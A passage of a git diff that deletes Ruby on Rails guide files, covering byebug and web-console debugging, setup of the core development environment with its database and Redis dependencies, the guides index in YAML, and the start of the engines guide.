index.html.erb - 12: format.json { render json: @articles } - -(byebug) -``` - -If you got there by a browser request, the browser tab containing the request -will be hung until the debugger has finished and the trace has finished -processing the entire request. - -For example: - -```bash -=> Booting Puma -=> Rails 5.1.0 application starting in development on http://0.0.0.0:3000 -=> Run `rails server -h` for more startup options -Puma starting in single mode... -* Version 3.4.0 (ruby 2.3.1-p112), codename: Owl Bowl Brawl -* Min threads: 5, max threads: 5 -* Environment: development -* Listening on tcp://localhost:3000 -Use Ctrl-C to stop -Started GET "/" for 127.0.0.1 at 2014-04-11 13:11:48 +0200 - ActiveRecord::SchemaMigration Load (0.2ms) SELECT "schema_migrations".* FROM "schema_migrations" -Processing by ArticlesController#index as HTML - -[3, 12] in /PathTo/project/app/controllers/articles_controller.rb - 3: - 4: # GET /articles - 5: # GET /articles.json - 6: def index - 7: byebug -=> 8: @articles = Article.find_recent - 9: - 10: respond_to do |format| - 11: format.html # index.html.erb - 12: format.json { render json: @articles } -(byebug) -``` - -Now it's time to explore your application. A good place to start is -by asking the debugger for help. Type: `help` - -``` -(byebug) help - - break -- Sets breakpoints in the source code - catch -- Handles exception catchpoints - condition -- Sets conditions on breakpoints - continue -- Runs until program ends, hits a breakpoint or reaches a line - debug -- Spawns a subdebugger - delete -- Deletes breakpoints - disable -- Disables breakpoints or displays - display -- Evaluates expressions every time the debugger stops - down -- Moves to a lower frame in the stack trace - edit -- Edits source files - enable -- Enables breakpoints or displays - finish -- Runs the program until frame returns - frame -- Moves to a frame in the call stack - help -- Helps you using byebug - history -- Shows byebug's history of commands - info -- Shows several informations about the program being debugged - interrupt -- Interrupts the program - irb -- Starts an IRB session - kill -- Sends a signal to the current process - list -- Lists lines of source code - method -- Shows methods of an object, class or module - next -- Runs one or more lines of code - pry -- Starts a Pry session - quit -- Exits byebug - restart -- Restarts the debugged program - save -- Saves current byebug session to a file - set -- Modifies byebug settings - show -- Shows byebug settings - source -- Restores a previously saved byebug session - step -- Steps into blocks or methods one or more times - thread -- Commands to manipulate threads - tracevar -- Enables tracing of a global variable - undisplay -- Stops displaying all or some expressions when program stops - untracevar -- Stops tracing a global variable - up -- Moves to a higher frame in the stack trace - var -- Shows variables and its values - where -- Displays the backtrace - -(byebug) -``` - -To see the previous ten lines you should type `list-` (or `l-`). - -``` -(byebug) l- - -[1, 10] in /PathTo/project/app/controllers/articles_controller.rb - 1 class ArticlesController < ApplicationController - 2 before_action :set_article, only: [:show, :edit, :update, :destroy] - 3 - 4 # GET /articles - 5 # GET /articles.json - 6 def index - 7 byebug - 8 @articles = Article.find_recent - 9 - 10 respond_to do |format| -``` - -This way you can move inside the file and see the code above the line where you -added the `byebug` call. Finally, to see where you are in the code again you can -type `list=` - -``` -(byebug) list= - -[3, 12] in /PathTo/project/app/controllers/articles_controller.rb - 3: - 4: # GET /articles - 5: # GET /articles.json - 6: def index - 7: byebug -=> 8: @articles = Article.find_recent - 9: - 10: respond_to do |format| - 11: format.html # index.html.erb - 12: format.json { render json: @articles } -(byebug) -``` - -### The Context - -When you start debugging your application, you will be placed in different -contexts as you go through the different parts of the stack. - -The debugger creates a context when a stopping point or an event is reached. The -context has information about the suspended program which enables the debugger -to inspect the frame stack, evaluate variables from the perspective of the -debugged program, and know the place where the debugged program is stopped. - -At any time you can call the `backtrace` command (or its alias `where`) to print -the backtrace of the application. This can be very helpful to know how you got -where you are. If you ever wondered about how you got somewhere in your code, -then `backtrace` will supply the answer. - -``` -(byebug) where ---> #0 ArticlesController.index - at /PathToProject/app/controllers/articles_controller.rb:8 - #1 ActionController::BasicImplicitRender.send_action(method#String, *args#Array) - at /PathToGems/actionpack-5.1.0/lib/action_controller/metal/basic_implicit_render.rb:4 - #2 AbstractController::Base.process_action(action#NilClass, *args#Array) - at /PathToGems/actionpack-5.1.0/lib/abstract_controller/base.rb:181 - #3 ActionController::Rendering.process_action(action, *args) - at /PathToGems/actionpack-5.1.0/lib/action_controller/metal/rendering.rb:30 -... -``` - -The current frame is marked with `-->`. You can move anywhere you want in this -trace (thus changing the context) by using the `frame n` command, where _n_ is -the specified frame number. If you do that, `byebug` will display your new -context. - -``` -(byebug) frame 2 - -[176, 185] in /PathToGems/actionpack-5.1.0/lib/abstract_controller/base.rb - 176: # is the intended way to override action dispatching. - 177: # - 178: # Notice that the first argument is the method to be dispatched - 179: # which is *not* necessarily the same as the action name. - 180: def process_action(method_name, *args) -=> 181: send_action(method_name, *args) - 182: end - 183: - 184: # Actually call the method associated with the action. Override - 185: # this method if you wish to change how action methods are called, -(byebug) -``` - -The available variables are the same as if you were running the code line by -line. After all, that's what debugging is. - -You can also use `up [n]` and `down [n]` commands in order to change the context -_n_ frames up or down the stack respectively. _n_ defaults to one. Up in this -case is towards higher-numbered stack frames, and down is towards lower-numbered -stack frames. - -### Threads - -The debugger can list, stop, resume and switch between running threads by using -the `thread` command (or the abbreviated `th`). This command has a handful of -options: - -* `thread`: shows the current thread. -* `thread list`: is used to list all threads and their statuses. The current -thread is marked with a plus (+) sign. -* `thread stop n`: stops thread _n_. -* `thread resume n`: resumes thread _n_. -* `thread switch n`: switches the current thread context to _n_. - -This command is very helpful when you are debugging concurrent threads and need -to verify that there are no race conditions in your code. - -### Inspecting Variables - -Any expression can be evaluated in the current context. To evaluate an -expression, just type it! - -This example shows how you can print the instance variables defined within the -current context: - -``` -[3, 12] in /PathTo/project/app/controllers/articles_controller.rb - 3: - 4: # GET /articles - 5: # GET /articles.json - 6: def index - 7: byebug -=> 8: @articles = Article.find_recent - 9: - 10: respond_to do |format| - 11: format.html # index.html.erb - 12: format.json { render json: @articles } - -(byebug) instance_variables -[:@_action_has_layout, :@_routes, :@_request, :@_response, :@_lookup_context, - :@_action_name, :@_response_body, :@marked_for_same_origin_verification, - :@_config] -``` - -As you may have figured out, all of the variables that you can access from a -controller are displayed. This list is dynamically updated as you execute code. -For example, run the next line using `next` (you'll learn more about this -command later in this guide). - -``` -(byebug) next - -[5, 14] in /PathTo/project/app/controllers/articles_controller.rb - 5 # GET /articles.json - 6 def index - 7 byebug - 8 @articles = Article.find_recent - 9 -=> 10 respond_to do |format| - 11 format.html # index.html.erb - 12 format.json { render json: @articles } - 13 end - 14 end - 15 -(byebug) -``` - -And then ask again for the instance_variables: - -``` -(byebug) instance_variables -[:@_action_has_layout, :@_routes, :@_request, :@_response, :@_lookup_context, - :@_action_name, :@_response_body, :@marked_for_same_origin_verification, - :@_config, :@articles] -``` - -Now `@articles` is included in the instance variables, because the line defining -it was executed. - -TIP: You can also step into **irb** mode with the command `irb` (of course!). -This will start an irb session within the context you invoked it. - -The `var` method is the most convenient way to show variables and their values. -Let's have `byebug` help us with it. - -``` -(byebug) help var - - [v]ar - - Shows variables and its values - - - var all -- Shows local, global and instance variables of self. - var args -- Information about arguments of the current scope - var const -- Shows constants of an object. - var global -- Shows global variables. - var instance -- Shows instance variables of self or a specific object. - var local -- Shows local variables in current scope. - -``` - -This is a great way to inspect the values of the current context variables. For -example, to check that we have no local variables currently defined: - -``` -(byebug) var local -(byebug) -``` - -You can also inspect for an object method this way: - -``` -(byebug) var instance Article.new -@_start_transaction_state = {} -@aggregation_cache = {} -@association_cache = {} -@attributes = ## 4: where('created_at > ?', 1.week.ago).limit(limit) - 5: end - 6: end - -(byebug) -``` - -If we use `next`, we won't go deep inside method calls. Instead, `byebug` will -go to the next line within the same context. In this case, it is the last line -of the current method, so `byebug` will return to the next line of the caller -method. - -``` -(byebug) next -[4, 13] in /PathToProject/app/controllers/articles_controller.rb - 4: # GET /articles - 5: # GET /articles.json - 6: def index - 7: @articles = Article.find_recent - 8: -=> 9: respond_to do |format| - 10: format.html # index.html.erb - 11: format.json { render json: @articles } - 12: end - 13: end - -(byebug) -``` - -If we use `step` in the same situation, `byebug` will literally go to the next -Ruby instruction to be executed -- in this case, Active Support's `week` method. - -``` -(byebug) step - -[49, 58] in /PathToGems/activesupport-5.1.0/lib/active_support/core_ext/numeric/time.rb - 49: - 50: # Returns a Duration instance matching the number of weeks provided. - 51: # - 52: # 2.weeks # => 14 days - 53: def weeks -=> 54: ActiveSupport::Duration.weeks(self) - 55: end - 56: alias :week :weeks - 57: - 58: # Returns a Duration instance matching the number of fortnights provided. -(byebug) -``` - -This is one of the best ways to find bugs in your code. - -TIP: You can also use `step n` or `next n` to move forward `n` steps at once. - -### Breakpoints - -A breakpoint makes your application stop whenever a certain point in the program -is reached. The debugger shell is invoked in that line. - -You can add breakpoints dynamically with the command `break` (or just `b`). -There are 3 possible ways of adding breakpoints manually: - -* `break n`: set breakpoint in line number _n_ in the current source file. -* `break file:n [if expression]`: set breakpoint in line number _n_ inside -file named _file_. If an _expression_ is given it must evaluated to _true_ to -fire up the debugger. -* `break class(.|\#)method [if expression]`: set breakpoint in _method_ (. and -\# for class and instance method respectively) defined in _class_. The -_expression_ works the same way as with file:n. - -For example, in the previous situation - -``` -[4, 13] in /PathToProject/app/controllers/articles_controller.rb - 4: # GET /articles - 5: # GET /articles.json - 6: def index - 7: @articles = Article.find_recent - 8: -=> 9: respond_to do |format| - 10: format.html # index.html.erb - 11: format.json { render json: @articles } - 12: end - 13: end - -(byebug) break 11 -Successfully created breakpoint with id 1 - -``` - -Use `info breakpoints` to list breakpoints. If you supply a number, it lists -that breakpoint. Otherwise it lists all breakpoints. - -``` -(byebug) info breakpoints -Num Enb What -1 y at /PathToProject/app/controllers/articles_controller.rb:11 -``` - -To delete breakpoints: use the command `delete n` to remove the breakpoint -number _n_. If no number is specified, it deletes all breakpoints that are -currently active. - -``` -(byebug) delete 1 -(byebug) info breakpoints -No breakpoints. -``` - -You can also enable or disable breakpoints: - -* `enable breakpoints [n [m [...]]]`: allows a specific breakpoint list or all -breakpoints to stop your program. This is the default state when you create a -breakpoint. -* `disable breakpoints [n [m [...]]]`: make certain (or all) breakpoints have -no effect on your program. - -### Catching Exceptions - -The command `catch exception-name` (or just `cat exception-name`) can be used to -intercept an exception of type _exception-name_ when there would otherwise be no -handler for it. - -To list all active catchpoints use `catch`. - -### Resuming Execution - -There are two ways to resume execution of an application that is stopped in the -debugger: - -* `continue [n]`: resumes program execution at the address where your script last -stopped; any breakpoints set at that address are bypassed. The optional argument -`n` allows you to specify a line number to set a one-time breakpoint which is -deleted when that breakpoint is reached. -* `finish [n]`: execute until the selected stack frame returns. If no frame -number is given, the application will run until the currently selected frame -returns. The currently selected frame starts out the most-recent frame or 0 if -no frame positioning (e.g up, down or frame) has been performed. If a frame -number is given it will run until the specified frame returns. - -### Editing - -Two commands allow you to open code from the debugger into an editor: - -* `edit [file:n]`: edit file named _file_ using the editor specified by the -EDITOR environment variable. A specific line _n_ can also be given. - -### Quitting - -To exit the debugger, use the `quit` command (abbreviated to `q`). Or, type `q!` -to bypass the `Really quit? (y/n)` prompt and exit unconditionally. - -A simple quit tries to terminate all threads in effect. Therefore your server -will be stopped and you will have to start it again. - -### Settings - -`byebug` has a few available options to tweak its behavior: - -``` -(byebug) help set - - set - - Modifies byebug settings - - Boolean values take "on", "off", "true", "false", "1" or "0". If you - don't specify a value, the boolean setting will be enabled. Conversely, - you can use "set no" to disable them. - - You can see these environment settings with the "show" command. - - List of supported settings: - - autosave -- Automatically save command history record on exit - autolist -- Invoke list command on every stop - width -- Number of characters per line in byebug's output - autoirb -- Invoke IRB on every stop - basename -- : information after every stop uses short paths - linetrace -- Enable line execution tracing - autopry -- Invoke Pry on every stop - stack_on_error -- Display stack trace when `eval` raises an exception - fullpath -- Display full file names in backtraces - histfile -- File where cmd history is saved to. Default: ./.byebug_history - listsize -- Set number of source lines to list by default - post_mortem -- Enable/disable post-mortem mode - callstyle -- Set how you want method call parameters to be displayed - histsize -- Maximum number of commands that can be stored in byebug history - savefile -- File where settings are saved to. Default: ~/.byebug_save -``` - -TIP: You can save these settings in an `.byebugrc` file in your home directory. -The debugger reads these global settings when it starts. For example: - -```bash -set callstyle short -set listsize 25 -``` - -Debugging with the `web-console` gem ------------------------------------- - -Web Console is a bit like `byebug`, but it runs in the browser. In any page you -are developing, you can request a console in the context of a view or a -controller. The console would be rendered next to your HTML content. - -### Console - -Inside any controller action or view, you can invoke the console by -calling the `console` method. - -For example, in a controller: - -```ruby -class PostsController < ApplicationController - def new - console - @post = Post.new - end -end -``` - -Or in a view: - -```html+erb -<% console %> - -

New Post

-``` - -This will render a console inside your view. You don't need to care about the -location of the `console` call; it won't be rendered on the spot of its -invocation but next to your HTML content. - -The console executes pure Ruby code: You can define and instantiate -custom classes, create new models and inspect variables. - -NOTE: Only one console can be rendered per request. Otherwise `web-console` -will raise an error on the second `console` invocation. - -### Inspecting Variables - -You can invoke `instance_variables` to list all the instance variables -available in your context. If you want to list all the local variables, you can -do that with `local_variables`. - -### Settings - -* `config.web_console.whitelisted_ips`: Authorized list of IPv4 or IPv6 -addresses and networks (defaults: `127.0.0.1/8, ::1`). -* `config.web_console.whiny_requests`: Log a message when a console rendering -is prevented (defaults: `true`). - -Since `web-console` evaluates plain Ruby code remotely on the server, don't try -to use it in production. - -Debugging Memory Leaks ----------------------- - -A Ruby application (on Rails or not), can leak memory — either in the Ruby code -or at the C code level. - -In this section, you will learn how to find and fix such leaks by using tool -such as Valgrind. - -### Valgrind - -[Valgrind](http://valgrind.org/) is an application for detecting C-based memory -leaks and race conditions. - -There are Valgrind tools that can automatically detect many memory management -and threading bugs, and profile your programs in detail. For example, if a C -extension in the interpreter calls `malloc()` but doesn't properly call -`free()`, this memory won't be available until the app terminates. - -For further information on how to install Valgrind and use with Ruby, refer to -[Valgrind and Ruby](http://blog.evanweaver.com/articles/2008/02/05/valgrind-and-ruby/) -by Evan Weaver. - -Plugins for Debugging ---------------------- - -There are some Rails plugins to help you to find errors and debug your -application. Here is a list of useful plugins for debugging: - -* [Footnotes](https://github.com/josevalim/rails-footnotes) Every Rails page has -footnotes that give request information and link back to your source via -TextMate. -* [Query Trace](https://github.com/ruckus/active-record-query-trace/tree/master) Adds query -origin tracing to your logs. -* [Query Reviewer](https://github.com/nesquena/query_reviewer) This Rails plugin -not only runs "EXPLAIN" before each of your select queries in development, but -provides a small DIV in the rendered output of each page with the summary of -warnings for each query that it analyzed. -* [Exception Notifier](https://github.com/smartinez87/exception_notification/tree/master) -Provides a mailer object and a default set of templates for sending email -notifications when errors occur in a Rails application. -* [Better Errors](https://github.com/charliesome/better_errors) Replaces the -standard Rails error page with a new one containing more contextual information, -like source code and variable inspection. -* [RailsPanel](https://github.com/dejan/rails_panel) Chrome extension for Rails -development that will end your tailing of development.log. Have all information -about your Rails app requests in the browser — in the Developer Tools panel. -Provides insight to db/rendering/total times, parameter list, rendered views and -more. -* [Pry](https://github.com/pry/pry) An IRB alternative and runtime developer console. - -References ----------- - -* [byebug Homepage](https://github.com/deivid-rodriguez/byebug) -* [web-console Homepage](https://github.com/rails/web-console) diff --git a/source/development_dependencies_install.md b/source/development_dependencies_install.md deleted file mode 100644 index 7ec038e..0000000 --- a/source/development_dependencies_install.md +++ /dev/null @@ -1,337 +0,0 @@ -**DO NOT READ THIS FILE ON GITHUB, GUIDES ARE PUBLISHED ON http://guides.rubyonrails.org.** - -Development Dependencies Install -================================ - -This guide covers how to setup an environment for Ruby on Rails core development. - -After reading this guide, you will know: - -* How to set up your machine for Rails development -* How to run specific groups of unit tests from the Rails test suite -* How the Active Record portion of the Rails test suite operates - --------------------------------------------------------------------------------- - -The Easy Way ------------- - -The easiest and recommended way to get a development environment ready to hack is to use the [Rails development box](https://github.com/rails/rails-dev-box). - -The Hard Way ------------- - -In case you can't use the Rails development box, see section below, these are the steps to manually build a development box for Ruby on Rails core development. - -### Install Git - -Ruby on Rails uses Git for source code control. The [Git homepage](http://git-scm.com/) has installation instructions. There are a variety of resources on the net that will help you get familiar with Git: - -* [Try Git course](http://try.github.io/) is an interactive course that will teach you the basics. -* The [official Documentation](http://git-scm.com/documentation) is pretty comprehensive and also contains some videos with the basics of Git. -* [Everyday Git](http://schacon.github.io/git/everyday.html) will teach you just enough about Git to get by. -* [GitHub](http://help.github.com) offers links to a variety of Git resources. -* [Pro Git](http://git-scm.com/book) is an entire book about Git with a Creative Commons license. - -### Clone the Ruby on Rails Repository - -Navigate to the folder where you want the Ruby on Rails source code (it will create its own `rails` subdirectory) and run: - -```bash -$ git clone git://github.com/rails/rails.git -$ cd rails -``` - -### Set up and Run the Tests - -The test suite must pass with any submitted code. No matter whether you are writing a new patch, or evaluating someone else's, you need to be able to run the tests. - -Install first SQLite3 and its development files for the `sqlite3` gem. On macOS -users are done with: - -```bash -$ brew install sqlite3 -``` - -In Ubuntu you're done with just: - -```bash -$ sudo apt-get install sqlite3 libsqlite3-dev -``` - -If you are on Fedora or CentOS, you're done with - -```bash -$ sudo yum install sqlite3 sqlite3-devel -``` - -If you are on Arch Linux, you will need to run: - -```bash -$ sudo pacman -S sqlite -``` - -For FreeBSD users, you're done with: - -```bash -# pkg install sqlite3 -``` - -Or compile the `databases/sqlite3` port. - -Get a recent version of [Bundler](http://bundler.io/) - -```bash -$ gem install bundler -$ gem update bundler -``` - -and run: - -```bash -$ bundle install --without db -``` - -This command will install all dependencies except the MySQL and PostgreSQL Ruby drivers. We will come back to these soon. - -NOTE: If you would like to run the tests that use memcached, you need to ensure that you have it installed and running. - -You can use [Homebrew](http://brew.sh/) to install memcached on OS X: - -```bash -$ brew install memcached -``` - -On Ubuntu you can install it with apt-get: - -```bash -$ sudo apt-get install memcached -``` - -Or use yum on Fedora or CentOS: - -```bash -$ sudo yum install memcached -``` - -If you are running on Arch Linux: - -```bash -$ sudo pacman -S memcached -``` - -For FreeBSD users, you're done with: - -```bash -# pkg install memcached -``` - -Alternatively, you can compile the `databases/memcached` port. - -With the dependencies now installed, you can run the test suite with: - -```bash -$ bundle exec rake test -``` - -You can also run tests for a specific component, like Action Pack, by going into its directory and executing the same command: - -```bash -$ cd actionpack -$ bundle exec rake test -``` - -If you want to run the tests located in a specific directory use the `TEST_DIR` environment variable. For example, this will run the tests in the `railties/test/generators` directory only: - -```bash -$ cd railties -$ TEST_DIR=generators bundle exec rake test -``` - -You can run the tests for a particular file by using: - -```bash -$ cd actionpack -$ bundle exec ruby -Itest test/template/form_helper_test.rb -``` - -Or, you can run a single test in a particular file: - -```bash -$ cd actionpack -$ bundle exec ruby -Itest path/to/test.rb -n test_name -``` - -### Railties Setup - -Some Railties tests depend on a JavaScript runtime environment, such as having [Node.js](https://nodejs.org/) installed. - -### Active Record Setup - -Active Record's test suite runs three times: once for SQLite3, once for MySQL, and once for PostgreSQL. We are going to see now how to set up the environment for them. - -WARNING: If you're working with Active Record code, you _must_ ensure that the tests pass for at least MySQL, PostgreSQL, and SQLite3. Subtle differences between the various adapters have been behind the rejection of many patches that looked OK when tested only against MySQL. - -#### Database Configuration - -The Active Record test suite requires a custom config file: `activerecord/test/config.yml`. An example is provided in `activerecord/test/config.example.yml` which can be copied and used as needed for your environment. - -#### MySQL and PostgreSQL - -To be able to run the suite for MySQL and PostgreSQL we need their gems. Install -first the servers, their client libraries, and their development files. - -On OS X, you can run: - -```bash -$ brew install mysql -$ brew install postgresql -``` - -Follow the instructions given by Homebrew to start these. - -In Ubuntu just run: - -```bash -$ sudo apt-get install mysql-server libmysqlclient-dev -$ sudo apt-get install postgresql postgresql-client postgresql-contrib libpq-dev -``` - -On Fedora or CentOS, just run: - -```bash -$ sudo yum install mysql-server mysql-devel -$ sudo yum install postgresql-server postgresql-devel -``` - -If you are running Arch Linux, MySQL isn't supported anymore so you will need to -use MariaDB instead (see [this announcement](https://www.archlinux.org/news/mariadb-replaces-mysql-in-repositories/)): - -```bash -$ sudo pacman -S mariadb libmariadbclient mariadb-clients -$ sudo pacman -S postgresql postgresql-libs -``` - -FreeBSD users will have to run the following: - -```bash -# pkg install mysql56-client mysql56-server -# pkg install postgresql94-client postgresql94-server -``` - -Or install them through ports (they are located under the `databases` folder). -If you run into troubles during the installation of MySQL, please see -[the MySQL documentation](http://dev.mysql.com/doc/refman/5.1/en/freebsd-installation.html). - -After that, run: - -```bash -$ rm .bundle/config -$ bundle install -``` - -First, we need to delete `.bundle/config` because Bundler remembers in that file that we didn't want to install the "db" group (alternatively you can edit the file). - -In order to be able to run the test suite against MySQL you need to create a user named `rails` with privileges on the test databases: - -```bash -$ mysql -uroot -p - -mysql> CREATE USER 'rails'@'localhost'; -mysql> GRANT ALL PRIVILEGES ON activerecord_unittest.* - to 'rails'@'localhost'; -mysql> GRANT ALL PRIVILEGES ON activerecord_unittest2.* - to 'rails'@'localhost'; -mysql> GRANT ALL PRIVILEGES ON inexistent_activerecord_unittest.* - to 'rails'@'localhost'; -``` - -and create the test databases: - -```bash -$ cd activerecord -$ bundle exec rake db:mysql:build -``` - -PostgreSQL's authentication works differently. To setup the development environment -with your development account, on Linux or BSD, you just have to run: - -```bash -$ sudo -u postgres createuser --superuser $USER -``` - -and for OS X: - -```bash -$ createuser --superuser $USER -``` - -Then you need to create the test databases with - -```bash -$ cd activerecord -$ bundle exec rake db:postgresql:build -``` - -It is possible to build databases for both PostgreSQL and MySQL with - -```bash -$ cd activerecord -$ bundle exec rake db:create -``` - -You can cleanup the databases using - -```bash -$ cd activerecord -$ bundle exec rake db:drop -``` - -NOTE: Using the rake task to create the test databases ensures they have the correct character set and collation. - -NOTE: You'll see the following warning (or localized warning) during activating HStore extension in PostgreSQL 9.1.x or earlier: "WARNING: => is deprecated as an operator". - -If you're using another database, check the file `activerecord/test/config.yml` or `activerecord/test/config.example.yml` for default connection information. You can edit `activerecord/test/config.yml` to provide different credentials on your machine if you must, but obviously you should not push any such changes back to Rails. - -### Action Cable Setup - -Action Cable uses Redis as its default subscriptions adapter ([read more](action_cable_overview.html#broadcasting)). Thus, in order to have Action Cable's tests passing you need to install and have Redis running. - -#### Install Redis From Source - -Redis' documentation discourage installations with package managers as those are usually outdated. Installing from source and bringing the server up is straight forward and well documented on [Redis' documentation](http://redis.io/download#installation). - -#### Install Redis From Package Manager - -On OS X, you can run: - -```bash -$ brew install redis -``` - -Follow the instructions given by Homebrew to start these. - -In Ubuntu just run: - -```bash -$ sudo apt-get install redis-server -``` - -On Fedora or CentOS (requires EPEL enabled), just run: - -```bash -$ sudo yum install redis -``` - -If you are running Arch Linux just run: - -```bash -$ sudo pacman -S redis -$ sudo systemctl start redis -``` - -FreeBSD users will have to run the following: - -```bash -# portmaster databases/redis -``` diff --git a/source/documents.yaml b/source/documents.yaml deleted file mode 100644 index 2afef57..0000000 --- a/source/documents.yaml +++ /dev/null @@ -1,235 +0,0 @@ -- - name: Start Here - documents: - - - name: Getting Started with Rails - url: getting_started.html - description: Everything you need to know to install Rails and create your first application. -- - name: Models - documents: - - - name: Active Record Basics - url: active_record_basics.html - description: This guide will get you started with models, persistence to database, and the Active Record pattern and library. - - - name: Active Record Migrations - url: active_record_migrations.html - description: This guide covers how you can use Active Record migrations to alter your database in a structured and organized manner. - - - name: Active Record Validations - url: active_record_validations.html - description: This guide covers how you can use Active Record validations. - - - name: Active Record Callbacks - url: active_record_callbacks.html - description: This guide covers how you can use Active Record callbacks. - - - name: Active Record Associations - url: association_basics.html - description: This guide covers all the associations provided by Active Record. - - - name: Active Record Query Interface - url: active_record_querying.html - description: This guide covers the database query interface provided by Active Record. - - - name: Active Model Basics - url: active_model_basics.html - description: This guide covers the use of model classes without Active Record. - work_in_progress: true -- - name: Views - documents: - - - name: Action View Overview - url: action_view_overview.html - description: This guide provides an introduction to Action View and introduces a few of the more common view helpers. - work_in_progress: true - - - name: Layouts and Rendering in Rails - url: layouts_and_rendering.html - description: This guide covers the basic layout features of Action Controller and Action View, including rendering and redirecting, using content_for blocks, and working with partials. - - - name: Action View Form Helpers - url: form_helpers.html - description: Guide to using built-in Form helpers. -- - name: Controllers - documents: - - - name: Action Controller Overview - url: action_controller_overview.html - description: This guide covers how controllers work and how they fit into the request cycle in your application. It includes sessions, filters, and cookies, data streaming, and dealing with exceptions raised by a request, among other topics. - - - name: Rails Routing from the Outside In - url: routing.html - description: This guide covers the user-facing features of Rails routing. If you want to understand how to use routing in your own Rails applications, start here. -- - name: Digging Deeper - documents: - - - name: Active Support Core Extensions - url: active_support_core_extensions.html - description: This guide documents the Ruby core extensions defined in Active Support. - - - name: Rails Internationalization API - url: i18n.html - description: This guide covers how to add internationalization to your applications. Your application will be able to translate content to different languages, change pluralization rules, use correct date formats for each country, and so on. - - - name: Action Mailer Basics - url: action_mailer_basics.html - description: This guide describes how to use Action Mailer to send and receive emails. - - - name: Active Job Basics - url: active_job_basics.html - description: This guide provides you with all you need to get started creating, enqueuing, and executing background jobs. - - - name: Testing Rails Applications - url: testing.html - description: This is a rather comprehensive guide to the various testing facilities in Rails. It covers everything from 'What is a test?' to Integration Testing. Enjoy. - - - name: Securing Rails Applications - url: security.html - description: This guide describes common security problems in web applications and how to avoid them with Rails. - - - name: Debugging Rails Applications - url: debugging_rails_applications.html - description: This guide describes how to debug Rails applications. It covers the different ways of achieving this and how to understand what is happening "behind the scenes" of your code. - - - name: Configuring Rails Applications - url: configuring.html - description: This guide covers the basic configuration settings for a Rails application. - - - name: The Rails Command Line - url: command_line.html - description: This guide covers the command line tools provided by Rails. - - - name: Asset Pipeline - url: asset_pipeline.html - description: This guide documents the asset pipeline. - - - name: Working with JavaScript in Rails - url: working_with_javascript_in_rails.html - description: This guide covers the built-in Ajax/JavaScript functionality of Rails. - - - name: The Rails Initialization Process - work_in_progress: true - url: initialization.html - description: This guide explains the internals of the Rails initialization process. - - - name: Autoloading and Reloading Constants - url: autoloading_and_reloading_constants.html - description: This guide documents how autoloading and reloading constants work. - - - name: "Caching with Rails: An Overview" - url: caching_with_rails.html - description: This guide is an introduction to speeding up your Rails application with caching. - - - name: Active Support Instrumentation - work_in_progress: true - url: active_support_instrumentation.html - description: This guide explains how to use the instrumentation API inside of Active Support to measure events inside of Rails and other Ruby code. - - - name: Profiling Rails Applications - work_in_progress: true - url: profiling.html - description: This guide explains how to profile your Rails applications to improve performance. - - - name: Using Rails for API-only Applications - url: api_app.html - description: This guide explains how to effectively use Rails to develop a JSON API application. - - - name: Action Cable Overview - url: action_cable_overview.html - description: This guide explains how Action Cable works, and how to use WebSockets to create real-time features. - -- - name: Extending Rails - documents: - - - name: The Basics of Creating Rails Plugins - work_in_progress: true - url: plugins.html - description: This guide covers how to build a plugin to extend the functionality of Rails. - - - name: Rails on Rack - url: rails_on_rack.html - description: This guide covers Rails integration with Rack and interfacing with other Rack components. - - - name: Creating and Customizing Rails Generators - url: generators.html - description: This guide covers the process of adding a brand new generator to your extension or providing an alternative to an element of a built-in Rails generator (such as providing alternative test stubs for the scaffold generator). - - - name: Getting Started with Engines - url: engines.html - description: This guide explains how to write a mountable engine. - work_in_progress: true -- - name: Contributing to Ruby on Rails - documents: - - - name: Contributing to Ruby on Rails - url: contributing_to_ruby_on_rails.html - description: Rails is not 'somebody else's framework.' This guide covers a variety of ways that you can get involved in the ongoing development of Rails. - - - name: API Documentation Guidelines - url: api_documentation_guidelines.html - description: This guide documents the Ruby on Rails API documentation guidelines. - - - name: Ruby on Rails Guides Guidelines - url: ruby_on_rails_guides_guidelines.html - description: This guide documents the Ruby on Rails guides guidelines. -- - name: Maintenance Policy - documents: - - - name: Maintenance Policy - url: maintenance_policy.html - description: What versions of Ruby on Rails are currently supported, and when to expect new versions. -- - name: Release Notes - documents: - - - name: Upgrading Ruby on Rails - url: upgrading_ruby_on_rails.html - description: This guide helps in upgrading applications to latest Ruby on Rails versions. - - - name: Ruby on Rails 5.1 Release Notes - url: 5_1_release_notes.html - description: Release notes for Rails 5.1. - - - name: Ruby on Rails 5.0 Release Notes - url: 5_0_release_notes.html - description: Release notes for Rails 5.0. - - - name: Ruby on Rails 4.2 Release Notes - url: 4_2_release_notes.html - description: Release notes for Rails 4.2. - - - name: Ruby on Rails 4.1 Release Notes - url: 4_1_release_notes.html - description: Release notes for Rails 4.1. - - - name: Ruby on Rails 4.0 Release Notes - url: 4_0_release_notes.html - description: Release notes for Rails 4.0. - - - name: Ruby on Rails 3.2 Release Notes - url: 3_2_release_notes.html - description: Release notes for Rails 3.2. - - - name: Ruby on Rails 3.1 Release Notes - url: 3_1_release_notes.html - description: Release notes for Rails 3.1. - - - name: Ruby on Rails 3.0 Release Notes - url: 3_0_release_notes.html - description: Release notes for Rails 3.0. - - - name: Ruby on Rails 2.3 Release Notes - url: 2_3_release_notes.html - description: Release notes for Rails 2.3. - - - name: Ruby on Rails 2.2 Release Notes - url: 2_2_release_notes.html - description: Release notes for Rails 2.2. diff --git a/source/engines.md b/source/engines.md deleted file mode 100644 index 2276f34..0000000 --- a/source/engines.md +++ /dev/null @@ -1,1524 +0,0 @@ -**DO NOT READ THIS FILE ON GITHUB, GUIDES ARE PUBLISHED ON http://guides.rubyonrails.org.** - -Getting Started with Engines -============================ - -In this guide you will learn about engines and how they can be used to provide -additional functionality to their host applications through a clean and very -easy-to-use interface. - -After reading this guide, you will know: - -* What makes an engine. -* How to generate an engine. -* How to build features for the engine. -* How to hook the engine into an application. -* How to override engine functionality in the application. -* Avoid loading Rails frameworks with Load and Configuration Hooks - --------------------------------------------------------------------------------- - -What are engines? ------------------ - -Engines can be considered miniature applications that provide functionality to -their host applications. A Rails application is actually just a "supercharged" -engine, with the `Rails::Application` class inheriting a lot of its behavior -from `Rails::Engine`. - -Therefore, engines and applications can be thought of as almost the same thing, -just with subtle differences, as you'll see throughout this guide. Engines and -applications also share a common structure. - -Engines are also closely related to plugins. The two share a common `lib` -directory structure, and are both generated using the `rails plugin new` -generator. The difference is that an engine is considered a "full plugin" by -Rails (as indicated by the `--full` option that's passed to the generator -command). We'll actually be using the `--mountable` option here, which includes -all the features of `--full`, and then some. This guide will refer to these -"full plugins" simply as "engines" throughout. An engine 